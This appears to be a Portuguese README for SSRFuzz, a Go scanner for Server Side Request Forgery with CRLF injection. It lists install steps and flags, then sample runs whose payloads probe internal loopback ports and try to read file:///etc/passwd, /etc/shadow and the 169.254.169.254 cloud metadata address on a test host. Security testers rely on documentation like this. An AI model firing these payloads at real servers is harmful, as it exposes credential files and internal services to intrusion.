
SSRFuzz é uma ferramenta para encontrar vulnerabilidades de Server Side Request Forgery, com capacidades de encadeamento CRLF
O SSRFuzz é uma ferramenta para encontrar vulnerabilidades de Server Side Request Forgery, com capacidade de encadeamento CRLF.
Execute o seguinte comando para instalar
go get -u github.com/ryandamour/ssrfuzz
██████ ██████ ██▀███ █████▒█ ██ ▒███████▒▒███████▒
▒██ ▒ ▒██ ▒ ▓██ ▒ ██▒▓██ ▒ ██ ▓██▒▒ ▒ ▒ ▄▀░▒ ▒ ▒ ▄▀░
░ ▓██▄ ░ ▓██▄ ▓██ ░▄█ ▒▒████ ░▓██ ▒██░░ ▒ ▄▀▒░ ░ ▒ ▄▀▒░
▒ ██▒ ▒ ██▒▒██▀▀█▄ ░▓█▒ ░▓▓█ ░██░ ▄▀▒ ░ ▄▀▒ ░
▒██████▒▒▒██████▒▒░██▓ ▒██▒░▒█░ ▒▒█████▓ ▒███████▒▒███████▒
▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░ ▒▓ ░▒▓░ ▒ ░ ░▒▓▒ ▒ ▒ ░▒▒ ▓░▒░▒░▒▒ ▓░▒░▒
░ ░▒ ░ ░░ ░▒ ░ ░ ░▒ ░ ▒░ ░ ░░▒░ ░ ░ ░░▒ ▒ ░ ▒░░▒ ▒ ░ ▒
░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░░░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
░ ░
===============================================================
SSRFUZZ 1.2
por Ryan D'Amour @ryandamour
===============================================================Um scanner para todas as suas necessidades de Fuzzing SSRF
Uso:
ssrfuzz scan [flags]
Flags:
-b, --call-back string Adicionar callback para fuzzing SSRF (ex: https://github.com/ropnop/serverless_toolkit/tree/master/ssrf_slack)
-c, --cookie string Cookie a usar nas requisições
--crlf-path Adicionar payloads CRLF a todos os caminhos disponíveis (ex: site.com/%0Atest.php)
--delay int O tempo que cada thread aguarda entre requisições em milissegundos (padrão 100)
-d, --domains string Localização dos domínios com parâmetros a escanear
-h, --help ajuda para scan
-x, --http-method string Método HTTP - GET ou POST (padrão "GET")
-o, --output string Localização para salvar resultados
--skip-crlf Ignorar fuzzing CRLF
--skip-network Ignorar fuzzing de rede
--skip-scheme Ignorar fuzzing de esquema
-s, --slack-webhook string Webhook do Slack para enviar descobertas a um canal
-t, --threads int Número de threads para executar o ssrfuzz (padrão 50)
--timeout int A quantidade de tempo necessária para fechar uma conexão que pode estar pendurada (padrão 10)
-u, --user-agent string User agent para requisições (padrão "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36")
-v, --verbose saída detalhada
Uso:
echo "http://url_to_fuzz" | ssrfuzz scan
cat file_of_domains.txt | ssrfuzz scan
ssrfuzz scan -d file_of_domains.txt
* Escaneando payloads http e de esquema com CRLF:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan
[!] Correspondência de payload de esquema:
* http://192.168.1.10/test.php?u=file://etc/passwd 200
[!] Payloads interessantes encontrados
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.ph?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500
[!] Payloads interessantes encontrados
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* Escaneando apenas payloads http com CRLF:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme
[!] Payloads interessantes encontrados
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* Escaneando apenas payloads http sem CRLF:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme --skip-crlf
[!] Payloads interessantes encontrados
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500
* Escaneando apenas payloads de esquema sem CRLF:
echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-network --skip-crlf
[!] Payloads interessantes encontrados
* http://192.168.1.10/test.php?u=file:///etc/passwd 200
* http://192.168.1.10/test.php?u=file:///etc/shadow 500
* http://192.168.1.10/test.php?u=file://169.254.169.254/ 500
Pull requests são bem-vindos. Para mudanças maiores, por favor abra uma issue primeiro para discutir o que gostaria de alterar.
Por favor, certifique-se de atualizar os testes conforme apropriado.